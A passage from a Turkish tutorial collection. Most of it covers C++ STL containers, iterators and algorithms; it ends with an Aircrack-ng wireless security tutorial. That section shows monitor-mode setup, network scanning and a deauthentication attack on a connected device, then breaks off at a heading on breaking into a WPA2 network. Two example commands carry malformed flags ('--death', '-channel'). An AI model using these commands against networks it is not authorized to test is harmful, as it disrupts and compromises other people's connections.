    for (int sayi : sayilar) {
        std::cout << sayi << " ";
    }

    return 0;
}
```

**Liste Boyutunu Öğrenme**

Listelerin boyutunu öğrenmek için `size()` fonksiyonu kullanılabilir.

```cpp
#include <iostream>
#include <list>

int main() {
    // Liste oluşturma
    std::list<int> sayilar = {1, 2, 3, 4, 5};

    // Liste boyutunu yazdırma
    std::cout << "Liste boyutu: " << sayilar.size() << std::endl;

    return 0;
}
```

#### Sonuç

C++ listeleri, dinamik veri yönetimi konusunda esneklik sağlayarak, veri elemanlarını sıralı bir şekilde saklamanın etkili bir yolunu sunar. Eleman ekleme ve silme işlemleri, listeler üzerinde kolayca gerçekleştirilebilir.


# 4.4 Yığınlar (Stacks)

C++ dilinde yığın (stack), verileri LIFO (Last In, First Out - Son Giren İlk Çıkar) mantığıyla saklayan bir veri yapısıdır. Yığın yapısı, verilerin son giren elemanın ilk olarak çıkarıldığı bir düzen sağlar. Yığınlar genellikle geçici veri saklama, geri alma işlemleri (undo), fonksiyon çağrıları ve diğer birçok durumda kullanılır.

#### Yığınların Temel Özellikleri

1. **LIFO Yapısı**: Yığınlarda son eklenen eleman, ilk çıkarılan elemandır. Bu yapı, yığınların temel işleyiş prensibidir.
2. **İki Temel İşlem**: Yığınlar genellikle iki temel işlemle çalışır:
   * **Push**: Yığına bir eleman eklemek.
   * **Pop**: Yığından bir eleman çıkarmak.
3. **En Üstteki Elemanı Görme**: Yığındaki en üstteki elemanı görmek için kullanılan bir işlem vardır, bu işleme **Top**denir. Ancak bu işlem yığından herhangi bir elemanı çıkarmaz.

#### Yığınların Kullanımı

C++'ta yığınlar, `#include <stack>` ifadesi ile kullanılmaya başlanır. Aşağıda yığınların temel kullanımını gösteren örnekler bulunmaktadır.

**Yığın Oluşturma ve Eleman Ekleme**

```cpp
#include <iostream>
#include <stack>

int main() {
    // Yığın oluşturma
    std::stack<int> yigin;

    // Eleman ekleme
    yigin.push(10);
    yigin.push(20);
    yigin.push(30);

    // En üstteki elemanı yazdırma
    std::cout << "Yığındaki en üstteki eleman: " << yigin.top() << std::endl;

    return 0;
}
```

**Eleman Çıkarma**

Yığından eleman çıkarmak için `pop()` fonksiyonu kullanılır.

```cpp
#include <iostream>
#include <stack>

int main() {
    // Yığın oluşturma
    std::stack<int> yigin;
    yigin.push(10);
    yigin.push(20);
    yigin.push(30);

    // Yığından eleman çıkarma
    std::cout << "Yığından çıkarılan eleman: " << yigin.top() << std::endl;
    yigin.pop(); // En üstteki elemanı çıkar

    std::cout << "Yeni en üstteki eleman: " << yigin.top() << std::endl;

    return 0;
}
```

**Yığın Boş Mu Kontrolü**

Yığının boş olup olmadığını kontrol etmek için `empty()` fonksiyonu kullanılabilir.

```cpp
#include <iostream>
#include <stack>

int main() {
    // Yığın oluşturma
    std::stack<int> yigin;

    // Yığının boş olup olmadığını kontrol etme
    if (yigin.empty()) {
        std::cout << "Yığın boştur." << std::endl;
    } else {
        std::cout << "Yığın doludur." << std::endl;
    }

    return 0;
}
```

#### Sonuç

C++ yığınları, verileri LIFO düzenine göre saklamanın etkili bir yolunu sunar. Yığınlar, eleman ekleme, çıkarma ve en üstteki elemanı görme gibi basit ama etkili işlemlerle çalışır.


# 4.5 Kuyruklar (Queues)

C++ dilinde kuyruk (queue), verileri FIFO (First In, First Out - İlk Giren İlk Çıkar) mantığıyla saklayan bir veri yapısıdır. Kuyruk yapısı, verilerin ilk eklenen elemanın ilk olarak çıkarıldığı bir düzen sağlar. Kuyruklar genellikle işlem sıralama, görev yönetimi ve diğer birçok durumda kullanılır.

#### Kuyrukların Temel Özellikleri

1. **FIFO Yapısı**: Kuyruklarda ilk eklenen eleman, ilk çıkarılan elemandır. Bu yapı, kuyrukların temel işleyiş prensibidir.
2. **İki Temel İşlem**: Kuyruklar genellikle iki temel işlemle çalışır:
   * **Enqueue**: Kuyruğa bir eleman eklemek.
   * **Dequeue**: Kuyruktan bir eleman çıkarmak.
3. **En Önceki Elemanı Görme**: Kuyruktaki en önceki elemanı görmek için kullanılan bir işlem vardır, bu işleme **Front** denir. Ancak bu işlem kuyruktan herhangi bir elemanı çıkarmaz.

#### Kuyrukların Kullanımı

C++'ta kuyruklar, `#include <queue>` ifadesi ile kullanılmaya başlanır. Aşağıda kuyrukların temel kullanımını gösteren örnekler bulunmaktadır.

**Kuyruk Oluşturma ve Eleman Ekleme**

```cpp
#include <iostream>
#include <queue>

int main() {
    // Kuyruk oluşturma
    std::queue<int> kuyruk;

    // Eleman ekleme
    kuyruk.push(10);
    kuyruk.push(20);
    kuyruk.push(30);

    // En öncedeki elemanı yazdırma
    std::cout << "Kuyruktaki en öncedeki eleman: " << kuyruk.front() << std::endl;

    return 0;
}
```

**Eleman Çıkarma**

Kuyruktan eleman çıkarmak için `pop()` fonksiyonu kullanılır.

```cpp
#include <iostream>
#include <queue>

int main() {
    // Kuyruk oluşturma
    std::queue<int> kuyruk;
    kuyruk.push(10);
    kuyruk.push(20);
    kuyruk.push(30);

    // Kuyruktan eleman çıkarma
    std::cout << "Kuyruktan çıkarılan eleman: " << kuyruk.front() << std::endl;
    kuyruk.pop(); // En öncedeki elemanı çıkar

    std::cout << "Yeni en öncedeki eleman: " << kuyruk.front() << std::endl;

    return 0;
}
```

**Kuyruk Boş Mu Kontrolü**

Kuyruğun boş olup olmadığını kontrol etmek için `empty()` fonksiyonu kullanılabilir.

```cpp
#include <iostream>
#include <queue>

int main() {
    // Kuyruk oluşturma
    std::queue<int> kuyruk;

    // Kuyruğun boş olup olmadığını kontrol etme
    if (kuyruk.empty()) {
        std::cout << "Kuyruk boştur." << std::endl;
    } else {
        std::cout << "Kuyruk doludur." << std::endl;
    }

    return 0;
}
```

#### Sonuç

C++ kuyrukları, verileri FIFO düzenine göre saklamanın etkili bir yolunu sunar. Kuyruklar, eleman ekleme, çıkarma ve en öncedeki elemanı görme gibi basit ama etkili işlemlerle çalışır.


# 4.6 Deque (Çift Uçlu Kuyruk)

C++ dilinde deque (double-ended queue), hem başından hem de sonundan eleman ekleyip çıkarabileceğiniz bir veri yapısıdır. Deque'ler, hem FIFO (First In, First Out - İlk Giren İlk Çıkar) hem de LIFO (Last In, First Out - Son Giren İlk Çıkar) mantığına göre çalışabilir. Bu özellikleri sayesinde, çeşitli uygulamalarda esneklik sağlar.

#### Deque'in Temel Özellikleri

1. **Çift Uçlu Yapı**: Elemanlar, hem ön (front) hem de arka (back) uçlardan eklenip çıkarılabilir.
2. **Dinamik Boyutlandırma**: Deque, dinamik olarak boyutlandırılabilir. Yani, eleman ekledikçe boyutu otomatik olarak büyür.
3. **Rastgele Erişim**: Deque, elemanlara rastgele erişim sağlar, bu da belirli bir indeksteki elemana doğrudan erişim imkanı sunar.

#### Deque Kullanımı

C++'ta deque kullanmak için `#include <deque>` kütüphanesini dahil etmeniz gerekmektedir. Aşağıda deque'in temel kullanımına dair örnekler bulunmaktadır.

**Deque Oluşturma ve Eleman Ekleme**

```cpp
#include <iostream>
#include <deque>

int main() {
    // Deque oluşturma
    std::deque<int> deq;

    // Eleman ekleme
    deq.push_back(10); // Arka uca ekleme
    deq.push_front(20); // Ön uca ekleme
    deq.push_back(30);

    // Deque elemanlarını yazdırma
    std::cout << "Deque elemanları: ";
    for (const int& elem : deq) {
        std::cout << elem << " ";
    }
    std::cout << std::endl;

    return 0;
}
```

**Eleman Çıkarma**

Deque'den eleman çıkarmak için `pop_back()` ve `pop_front()` fonksiyonları kullanılır.

```cpp
#include <iostream>
#include <deque>

int main() {
    // Deque oluşturma
    std::deque<int> deq;
    deq.push_back(10);
    deq.push_back(20);
    deq.push_back(30);

    // Deque'den eleman çıkarma
    std::cout << "Deque'den çıkarılan ön eleman: " << deq.front() << std::endl;
    deq.pop_front(); // Ön uçtan çıkar

    std::cout << "Deque'den çıkarılan arka eleman: " << deq.back() << std::endl;
    deq.pop_back(); // Arka uçtan çıkar

    std::cout << "Kalan elemanlar: ";
    for (const int& elem : deq) {
        std::cout << elem << " ";
    }
    std::cout << std::endl;

    return 0;
}
```

**Rastgele Erişim**

Deque'deki elemanlara indeks numarasıyla erişim mümkündür.

```cpp
#include <iostream>
#include <deque>

int main() {
    // Deque oluşturma
    std::deque<int> deq = {10, 20, 30, 40};

    // Rastgele erişim
    std::cout << "2. indeksdeki eleman: " << deq[2] << std::endl; // 30

    return 0;
}
```

#### Sonuç

C++ Deque, esnekliği sayesinde birçok uygulama için yararlı bir veri yapısıdır. Hem ön hem de arka uçlardan eleman ekleyip çıkarabilme özelliği, onu özellikle dinamik veri yapıları için uygun hale getirir.


# 4.7 Küme (Set)

C++ dilinde `set`, benzersiz elemanları depolamak için kullanılan bir veri yapısıdır. Set, her elemanın yalnızca bir kez bulunduğu, sıralı bir koleksiyondur. Bu özellik, tekrar eden elemanları otomatik olarak kaldırır ve elemanları sıralı bir şekilde saklar. Set veri yapısı, C++ Standard Template Library (STL) içerisinde yer alır ve kullanımı oldukça yaygındır.

#### Set'in Temel Özellikleri

1. **Benzersizlik**: Set, içinde tekrarlayan elemanları barındırmaz. Yani aynı değere sahip birden fazla eleman eklenmeye çalışıldığında, sadece bir tane saklanır.
2. **Sıralı Depolama**: Elemanlar otomatik olarak sıralı bir şekilde tutulur. Bu, elemanlara erişim ve arama işlemlerinin daha hızlı yapılmasını sağlar.
3. **Dinamik Boyut**: Set, eleman ekleyip çıkardıkça otomatik olarak boyutunu ayarlar.

#### Set Kullanımı

C++'ta set kullanmak için `#include <set>` kütüphanesini dahil etmeniz gerekmektedir. Aşağıda set'in temel kullanımına dair örnekler bulunmaktadır.

**Set Oluşturma ve Eleman Ekleme**

```cpp
#include <iostream>
#include <set>

int main() {
    // Set oluşturma
    std::set<int> mySet;

    // Eleman ekleme
    mySet.insert(10);
    mySet.insert(20);
    mySet.insert(30);
    mySet.insert(20); // Bu eleman eklenmeyecek, çünkü zaten mevcut

    // Set elemanlarını yazdırma
    std::cout << "Set elemanları: ";
    for (const int& elem : mySet) {
        std::cout << elem << " ";
    }
    std::cout << std::endl;

    return 0;
}
```

**Eleman Çıkarma**

Set'ten eleman çıkarmak için `erase()` fonksiyonu kullanılır.

```cpp
#include <iostream>
#include <set>

int main() {
    // Set oluşturma
    std::set<int> mySet = {10, 20, 30, 40};

    // Eleman çıkarma
    mySet.erase(20); // 20 elemanını çıkar

    // Set elemanlarını yazdırma
    std::cout << "Set elemanları (20 çıkarıldı): ";
    for (const int& elem : mySet) {
        std::cout << elem << " ";
    }
    std::cout << std::endl;

    return 0;
}
```

**Eleman Arama**

Set içerisinde bir elemanın var olup olmadığını kontrol etmek için `find()` fonksiyonu kullanılır.

```cpp
#include <iostream>
#include <set>

int main() {
    // Set oluşturma
    std::set<int> mySet = {10, 20, 30, 40};

    // Eleman arama
    if (mySet.find(20) != mySet.end()) {
        std::cout << "20 set içinde mevcut." << std::endl;
    } else {
        std::cout << "20 set içinde mevcut değil." << std::endl;
    }

    return 0;
}
```

#### Sonuç

C++ Set, benzersiz elemanları depolamak ve sıralı bir şekilde erişim sağlamak için ideal bir veri yapısıdır.


# 4.8 Maps

C++ dilinde `map`, anahtar-değer çiftlerini depolamak için kullanılan bir veri yapısıdır. Her bir anahtar (key), benzersizdir ve yalnızca bir kez bulunabilir. Her anahtar, ona karşılık gelen bir değer (value) ile ilişkilendirilir. `map`, C++ Standard Template Library (STL) içinde yer alır ve genellikle hızlı arama ve erişim gerektiren durumlarda kullanılır.

#### Map'in Temel Özellikleri

1. **Benzersiz Anahtarlar**: Her anahtar yalnızca bir kez kullanılabilir, bu da tekrarlayan anahtarları engeller.
2. **Sıralı Depolama**: Anahtarlar otomatik olarak sıralanır. Bu özellik, belirli bir anahtara hızlı erişim sağlar.
3. **Dinamik Boyut**: Map, eleman ekledikçe otomatik olarak boyutunu ayarlar.

#### Map Kullanımı

C++'ta map kullanmak için `#include <map>` kütüphanesini dahil etmeniz gerekmektedir. Aşağıda map'in temel kullanımına dair örnekler bulunmaktadır.

**Map Oluşturma ve Eleman Ekleme**

```cpp
#include <iostream>
#include <map>

int main() {
    // Map oluşturma
    std::map<std::string, int> myMap;

    // Eleman ekleme
    myMap["Alice"] = 25;
    myMap["Bob"] = 30;
    myMap["Charlie"] = 35;

    // Map elemanlarını yazdırma
    std::cout << "Map elemanları:" << std::endl;
    for (const auto& pair : myMap) {
        std::cout << pair.first << ": " << pair.second << std::endl; // Anahtar: Değer
    }

    return 0;
}
```

**Eleman Çıkarma**

Map'ten eleman çıkarmak için `erase()` fonksiyonu kullanılır.

```cpp
#include <iostream>
#include <map>

int main() {
    // Map oluşturma
    std::map<std::string, int> myMap = {{"Alice", 25}, {"Bob", 30}, {"Charlie", 35}};

    // Eleman çıkarma
    myMap.erase("Bob"); // "Bob" anahtarını çıkar

    // Map elemanlarını yazdırma
    std::cout << "Map elemanları (Bob çıkarıldı):" << std::endl;
    for (const auto& pair : myMap) {
        std::cout << pair.first << ": " << pair.second << std::endl;
    }

    return 0;
}
```

**Eleman Arama**

Map içerisinde bir anahtarın var olup olmadığını kontrol etmek için `find()` fonksiyonu kullanılır.

```cpp
#include <iostream>
#include <map>

int main() {
    // Map oluşturma
    std::map<std::string, int> myMap = {{"Alice", 25}, {"Bob", 30}, {"Charlie", 35}};

    // Eleman arama
    auto it = myMap.find("Alice");
    if (it != myMap.end()) {
        std::cout << "Alice'ın yaşı: " << it->second << std::endl; // Anahtarın değeri
    } else {
        std::cout << "Alice bulunamadı." << std::endl;
    }

    return 0;
}
```

#### Sonuç

C++ Map, anahtar-değer çiftlerini depolamak ve hızlı bir şekilde erişim sağlamak için ideal bir veri yapısıdır. Eleman ekleme, çıkarma ve arama işlemleri oldukça hızlı bir şekilde gerçekleştirilebilir.


# 4.9 Iterator

C++ dilinde iteratörler, bir koleksiyondaki elemanlara erişim sağlamak ve bu elemanlar üzerinde işlem yapmak için kullanılan bir araçtır. Iteratörler, klasik dizi indekslemesi yerine, koleksiyonlar arasında genel bir arayüz sunarak daha esnek bir veri erişimi sağlar. C++ Standard Template Library (STL) içerisinde geniş bir iteratör desteği bulunmaktadır.

#### Iteratörlerin Temel Özellikleri

1. **Genel Erişim**: Iteratörler, diziler, vektörler, listeler gibi farklı veri yapıları üzerinde kullanılabilir.
2. **Dizisel Erişim**: Iteratörler, bir dizi gibi art arda gelen elemanlara erişim sağlar.
3. **Artış ve Azalış**: Iteratörler, üzerinde dolaşmak için artırma (`++`) ve azaltma (`--`) operatörleri ile kullanılabilir.
4. **Kapsamlı Kullanım**: STL içinde yer alan birçok algoritma, iteratörler ile çalışacak şekilde tasarlanmıştır.

#### Iteratör Kullanımı

C++'ta iteratör kullanmak için, genellikle `#include <iterator>` veya ilgili koleksiyon kütüphanesini dahil etmeniz gerekir. Aşağıda iteratörlerin temel kullanımına dair örnekler bulunmaktadır.

**Vektör ile Iteratör Kullanımı**

```cpp
#include <iostream>
#include <vector>

int main() {
    // Bir vektör oluşturma
    std::vector<int> sayilar = {1, 2, 3, 4, 5};

    // Vektör için bir iteratör oluşturma
    std::vector<int>::iterator it;

    // Elemanları yazdırma
    std::cout << "Vektör elemanları: ";
    for (it = sayilar.begin(); it != sayilar.end(); ++it) {
        std::cout << *it << " "; // Dereferans ile elemanı al
    }
    std::cout << std::endl;

    return 0;
}
```

**List ile Iteratör Kullanımı**

```cpp
#include <iostream>
#include <list>

int main() {
    // Bir liste oluşturma
    std::list<std::string> isimler = {"Ali", "Ayşe", "Fatma", "Mehmet"};

    // Liste için bir iteratör oluşturma
    std::list<std::string>::iterator it;

    // Elemanları yazdırma
    std::cout << "Liste elemanları: ";
    for (it = isimler.begin(); it != isimler.end(); ++it) {
        std::cout << *it << " "; // Dereferans ile elemanı al
    }
    std::cout << std::endl;

    return 0;
}
```

#### Reverse Iteratörler

C++'ta tersine iteratörler (reverse iterators), bir koleksiyondaki elemanları ters sırayla dolaşmak için kullanılır.

```cpp
#include <iostream>
#include <vector>

int main() {
    // Bir vektör oluşturma
    std::vector<int> sayilar = {1, 2, 3, 4, 5};

    // Tersine iteratör ile elemanları yazdırma
    std::cout << "Ters sıradaki vektör elemanları: ";
    for (std::vector<int>::reverse_iterator it = sayilar.rbegin(); it != sayilar.rend(); ++it) {
        std::cout << *it << " "; // Dereferans ile elemanı al
    }
    std::cout << std::endl;

    return 0;
}
```

#### Sonuç

C++ iteratörleri, koleksiyonların elemanlarına erişmek ve işlem yapmak için güçlü ve esnek bir araçtır. Farklı veri yapılarında kullanılabilir ve STL algoritmaları ile birlikte etkili bir şekilde çalışır.


# 4.10 Algoritmalar

C++ algoritmaları, belirli bir sorunu çözmek veya belirli bir görevi yerine getirmek için izlenen adımlar veya işlemler dizisidir. Algoritmalar, verileri işlemek, sıralamak, aramak ve çeşitli matematiksel hesaplamalar yapmak için yaygın olarak kullanılır. C++, algoritmaların uygulamaları için kapsamlı bir standart şablon kütüphanesi (STL) sunar.

#### Algoritmaların Temel Özellikleri

1. **Sonluluk**: Bir algoritmanın sonlu bir sayıda adımda tamamlanması gerekir.
2. **Tanımlılık**: Her bir adımın açık ve net bir şekilde tanımlanması gerekir.
3. **Girdi**: Algoritmalar, belirli bir girdi alabilir.
4. **Çıktı**: Algoritmalar, girdilere dayanarak belirli bir çıktı üretir.
5. **Etkinlik**: Algoritmanın mümkün olan en az kaynakla çalışması beklenir.

#### C++’ta Yaygın Algoritmalar

C++ STL, birçok yerleşik algoritma içerir. Bu algoritmalar, `#include <algorithm>` başlığı altında bulunur. İşte bazı yaygın C++ algoritmaları:

**1. Sıralama Algoritmaları**

**`std::sort`**: Elemanları sıralamak için kullanılır.

```cpp
#include <iostream>
#include <vector>
#include <algorithm> // sort için

int main() {
    std::vector<int> sayilar = {5, 2, 8, 1, 3};

    std::sort(sayilar.begin(), sayilar.end()); // Artan sıralama

    std::cout << "Sıralı sayılar: ";
    for (int sayi : sayilar) {
        std::cout << sayi << " ";
    }
    std::cout << std::endl;

    return 0;
}
```

**2. Arama Algoritmaları**

**`std::find`**: Bir elemanı bulmak için kullanılır.

```cpp
#include <iostream>
#include <vector>
#include <algorithm> // find için

int main() {
    std::vector<int> sayilar = {5, 2, 8, 1, 3};
    int aranacak = 8;

    auto it = std::find(sayilar.begin(), sayilar.end(), aranacak);

    if (it != sayilar.end()) {
        std::cout << aranacak << " bulundu!" << std::endl;
    } else {
        std::cout << aranacak << " bulunamadı!" << std::endl;
    }

    return 0;
}
```

**3. Kopyalama Algoritmaları**

**`std::copy`**: Bir koleksiyondaki elemanları başka bir koleksiyona kopyalamak için kullanılır.

```cpp
#include <iostream>
#include <vector>
#include <algorithm> // copy için

int main() {
    std::vector<int> sayilar1 = {1, 2, 3, 4, 5};
    std::vector<int> sayilar2(sayilar1.size());

    std::copy(sayilar1.begin(), sayilar1.end(), sayilar2.begin());

    std::cout << "Kopyalanan sayılar: ";
    for (int sayi : sayilar2) {
        std::cout << sayi << " ";
    }
    std::cout << std::endl;

    return 0;
}
```

#### Sonuç

C++’ta algoritmalar, verileri işlemek ve belirli görevleri yerine getirmek için kritik öneme sahiptir. C++ Standard Template Library (STL), sık kullanılan algoritmaların etkili bir şekilde uygulanmasını sağlar.


# Aircrack-ng

<figure><img src="/files/m60tAIswfBqnGZJ0nPRA" alt=""><figcaption></figcaption></figure>

**Aircrack-ng**, kablosuz ağların güvenliğini test etmek için kullanılan bir yazılım araç setidir. Bu araç seti, ağ trafiğini yakalama, şifreleri kırma ve ağ güvenliğini değerlendirme işlevlerini içerir. Aircrack-ng, kablosuz ağların güvenlik protokollerini (WEP, WPA, WPA2) test edebilir ve zayıflıklarını ortaya çıkarabilir. Kullanıcılar, aircrack-ng aracılığıyla, ağları olası güvenlik açıklarına karşı denetleyebilir ve bu açıkların kötü niyetli kişiler tarafından istismar edilmesini önleyebilir.

<details>

<summary>WEP, WPA ve WPA2 nedir?</summary>

**WEP (Wired Equivalent Privacy):** Kablosuz ağların güvenliğini sağlamak için tasarlanmış ilk protokoldür. Ancak, zamanla ciddi güvenlik zafiyetleri tespit edildiği için güvenli olarak kabul edilmez. WEP, ağ trafiğini şifrelemek için RC4 şifreleme algoritmasını kullanır, ancak zayıf anahtar yönetimi ve diğer güvenlik açıkları nedeniyle kolayca kırılabilir.

**WPA (Wi-Fi Protected Access):** WEP'in yerini almak üzere geliştirilmiş bir güvenlik protokolüdür. TKIP (Temporal Key Integrity Protocol) adı verilen yeni bir şifreleme metodu ve bir kimlik doğrulama sistemi sunar. WPA, WEP'e göre önemli güvenlik iyileştirmeleri sağlasa da, zamanla TKIP'in zafiyetleri nedeniyle kırılabilir olduğu gözlemlenmiştir.

**WPA2 (Wi-Fi Protected Access 2):** WPA'nın geliştirilmiş bir versiyonudur ve 2004 yılında kablosuz ağ güvenliğinin standart hale gelmiştir. WPA2, AES (Advanced Encryption Standard) tabanlı CCMP (Counter Mode Cipher Block Chaining Message Authentication Code Protocol) şifreleme kullanır. Bu, WPA2'yi daha önceki protokollere göre çok daha güvenli hale getirir ve günümüzde yaygın olarak kullanılan standarttır.

</details>

***

### Aircrack-ng Araç Seti

Aircrack-ng, kablosuz ağ güvenliğini test etmek için kullanılan çeşitli araçlardan oluşur. Her bir aracın kendine özgü işlevleri vardır ve birlikte, güvenlik uzmanlarının ağları analiz etmesine, zafiyetleri tespit etmesine ve güvenlik önlemlerini değerlendirmesine olanak tanır.

#### Airmon-ng: Kablosuz Ağ Kartını İzleme Moduna Alma

Airmon-ng, kablosuz ağ kartını izleme moduna alır. İzleme modu, ağ kartının, bağlı olmadığı ağlardan trafik yakalamasını sağlar. Bu, ağ trafiğini dinlemek ve yakındaki kablosuz ağları keşfetmek için gereklidir.

#### Airodump-ng: Ağ Trafiğini Yakalama ve İzleme

Airodump-ng, belirli bir kablosuz ağın veya birden çok ağın trafiğini yakalayıp analiz eder. Etraftaki ağlar, MAC adresleri, kanal bilgileri, şifreleme türü ve istasyonlar (ağa bağlı cihazlar) hakkında bilgi toplar.

<details>

<summary>MAC Adresi Nedir?</summary>

**MAC adresi (Media Access Control adresi)**, ağa bağlı her cihazın ağ üzerinde benzersiz olarak tanımlanmasını sağlayan, donanıma özgü bir tanımlayıcıdır. Genellikle 6 ikili (byte) uzunluğunda olup, 12 haneli hexadecimal (16'lık tabanda) bir sayı olarak ifade edilir (örneğin, 00:1A:2B:3C:4D:5E). Cihazların ağ üzerinde veri alışverişi yapabilmesi için gereklidir ve genellikle ağ kartı üreticisi tarafından cihazın üretimi sırasında atanır.

</details>

#### Aireplay-ng: Sahte Ağ Trafiği Oluşturma ve Saldırı Teknikleri

Aireplay-ng, ağa sahte paketler göndererek güvenlik zafiyetlerini test eder. Bu, şifre kırma işlemine yardımcı olacak ek trafik üretmek veya ağa yetkisiz erişim sağlamak amacıyla yapılır.

#### Aircrack-ng: WEP ve WPA/WPA2 Şifrelerini Kırma

Aircrack-ng, yakalanan ağ trafiği üzerinden WEP ve WPA/WPA2 şifrelerini kırma işlemini gerçekleştirir. Bu, genellikle büyük miktarda veri toplandıktan ve uygun zafiyetler belirlendikten sonra yapılır.

* Aircrack-ng araçlarından bahsettiğimize göre kurulumundan kullanımına kadar olan adımlara geçelim.

***

### Aircrack-ng Kurulumu ve Kullanımı

Linux işletim sistemleri üzerine yaptığım araştırmalarda gözlemlediğim bir nokta var: İleri düzey araçlar, Linux ortamında çok daha verimli bir şekilde çalışıyor. Bu sebeple, ben de Kali Linux'u tercih etmeye karar verdim. Şimdi adım adım ilerleyelim; ilk durak kurulum. Bu aracı kurup kullanmak için terminal hayati önem taşıyor. Hadi, terminali açalım ve işe başlayalım. Aşağıdaki komutu kullanarak aracı yükleyebiliriz.

```sh
sudo apt-get install aircrack-ng
```

<figure><img src="/files/JoOiyy2GPex6lVhcdLKM" alt=""><figcaption></figcaption></figure>

`ifconfig` komutu ile WiFi kartımızın takılı olup olmadığını **wlan0** kısmından anlıyoruz. Benim WiFi kartımın ismi **wlan0** ve açık olduğunu görüyoruz. Daha sonra aircrack-ng toolumuzu kullanabilmek için yazmamız gereken kod:

```sh
airmon-ng start wlan0
```

Burada '**wlan0**' olarak belirtmemizin nedeni, kullanmakta olduğumuz kablosuz ağ kartının adının '**wlan0**' olması. Farklı bir kart kullanıyorsak, bu isim de değişebilir. `ifconfig` komutunu tekrar çalıştırdığımızda, '**wlan0**' adının '**wlan0mon**' olarak değiştiğini fark edeceğiz. Bu, artık monitor moduna geçtiğimizi gösterir.

<figure><img src="/files/h5YWyU0C2cdtuZfKdvnt" alt=""><figcaption></figcaption></figure>

Şimdi sıra, çevremizdeki kablosuz ağları listeleyebilmemiz için gerekli olan komutu kullanmaya geldi:

```sh
airodump-ng wlan0mon
```

<figure><img src="/files/3PgSDkmyEaHZk0ZHysLY" alt=""><figcaption></figcaption></figure>

`Airodump-ng` komutu, çevremizdeki kablosuz ağları belirli kriterlere göre listeler. Bu listeleme sırasında kullanılan başlıklar ve bunların anlamları aşağıdaki gibidir:

* **BSSID**: Temel Hizmet Seti Tanımlayıcısı. Kablosuz ağın fiziksel adresi olan MAC adresidir.
* **PWR**: Güç sinyali. Yakınlık ve sinyal gücünü gösteren bir değerdir. Değer ne kadar yüksekse (yani sayı olarak daha düşükse), o kadar yakın ve güçlü bir sinyal anlamına gelir.
* **Beacons**: İstasyonlar ve ağlar arasında zaman senkronizasyonu sağlamak için kullanılan beacon çerçevelerinin sayısı. Yani bir WiFi ağındaki AP(Access Point) tarafından düzenli aralıklarla yayınlanan özel paketlerdir. Bu paketler ağın varlığını duyurur ve kablosuz istemcilere çeşitli temel bilgiler sağlar.(SSDI adı, şifreleme bilgileri, ağın desteklediği hızlar vb.)
* **#Data**: Toplanan veri paketlerinin sayısı.
* **#/s**: Saniye başına geçen veri paketlerinin sayısı.
* **CH**: Kanal numarası.
* **MB**: Maksimum hız, megabit cinsinden.
* **ENC**: Şifreleme türü.
* **CIPHER**: Kullanılan şifreleme algoritması.
* **AUTH**: Kimlik doğrulama yöntemi.
* **ESSID**: Genişletilmiş Servis Seti Tanımlayıcısı, yani ağın adı.

{% hint style="info" %}
Ekran görüntüsünde kare içine alınan WiFi Ağının 2 üstünde bulunan "**\<length: 0>**" ifadesi, WiFi ağının adının (ESSID) gizli olabileceğine işaret eder. Ağlar, güvenlik nedeniyle SSID yayınını kapatabilirler. "**MB**" sütunundaki "**-1**" ise, ağın maksimum hız bilgisinin algılanamadığını gösterir; bu durum, sinyal zayıflığı veya bilginin gizlenmesinden kaynaklanabilir.
{% endhint %}

Program, biz durdurana kadar yani `CTRL+C` tuş kombinasyonuna basana kadar etraftaki WiFi ağlarını anlık olarak listelemeye devam eder. Ben de şimdi `CTRL+C` diyorum ve hedef olarak listeden 8. sıradaki kendi ağımı seçiyorum. Hedef ağımızı seçerken kullanacağımız komut şöyle;

Kullanımı

```sh
airodump-ng -channel "Yayın Yaptığı Kanal" --bssid "Mac adresi" wlan0mon
```

Örnek Kullanım

```sh
airodump-ng --channel 1 --bssid DE:46:28:02:4F:CC wlan0mon
```

<figure><img src="/files/hcv0TsZw8hUBJAB6WvDq" alt=""><figcaption></figcaption></figure>

Şuanda ağı dinlemeye aldık. Ağda aktif olarak 1 cihaz bağlı gözüküyor. Bunlar WiFi ile bağlanan herhangi bir cihaz olabilir.(Telefon, tablet vb.) İlk kısmı anlattık şimdi ikinci kısımdaki başlıklar nedir ne işe yarar onlardan bahsedelim:

* **BSSID**: Erişim noktasının MAC adresi. Bu durumda 'DE:46:28:02:4F:CC' olarak belirtilmiştir.
* **STATION**: İstasyonun MAC adresi, 'CE:1C:6D:2B:49:F5' olarak görülmektedir. Yani WiFi ağına bağlı olan cihazın MAC adresi.
* **PWR**: İstasyonun sinyal gücü, '-40' olarak gösterilmiştir, bu da ortalama bir sinyal gücüdür.
* **Rate**: İstasyonun erişim noktasıyla bağlantı hızı, '24e-1' olarak görülüyor. Yani bu ağda genellikle 24 Mbps hızında bir veri iletim oranı olduğu. "e-1" kısmı ise bazı durumlarda hatalı paketlerin yeniden gönderim hızını temsil eder.
* **Lost**: Paket kaybının sayısı, '0' olarak ideal bir durumu gösteriyor.
* **Frames**: İstasyondan alınan veri çerçevelerinin sayısı, '77' olarak belirtilmiştir.

Bu aşamaya kadar, WiFi kartımızı monitor moda aldık ve çevremizde bulunan WiFi ağları hakkında bilgi topladık. Bu ağlardan birini seçerek, o ağa ait daha fazla detay elde ettik. Şimdi ilerleyip, seçtiğimiz WiFi ağına bağlı bir cihazı ağdan koparmayı deneyeceğiz; yani bir Deauthentication (DEAUTH) saldırısı yapacağız. Bu işlem için gerekli olan komut şu şekilde:

Kullanımı

```sh
aireplay-ng --deauth "gönderilecek paket sayısı" -a "WiFi MAC adresi" -c "Hedef MAC adresi" wlan0mon
```

Örnek Kullanım

```sh
aireplay-ng --death 10000 -a DE:46:28:02:4F:CC -c CE:1C:6D:2B:49:F5 wlan0mon
```

<figure><img src="/files/zGMqIop7LY8IXCu7mubE" alt=""><figcaption></figcaption></figure>

Bu adımda, belirlediğimiz hedefe saldırıyı başlatarak onun ağ bağlantısını kesiyoruz. Saldırı, biz `CTRL+C` tuş kombinasyonunu kullanana dek devam edecek. Bu komutu verdiğimizde, saldırıyı sonlandırıyoruz. Saldırının sona ermesinin ardından, genellikle cihazın bir ila iki dakika içinde ağa yeniden bağlandığını gözlemleyebiliriz.

***

### Aircrack-ng Araç Setini Kullanarak WPA2 Şifreli WiFi Ağını Sızmak

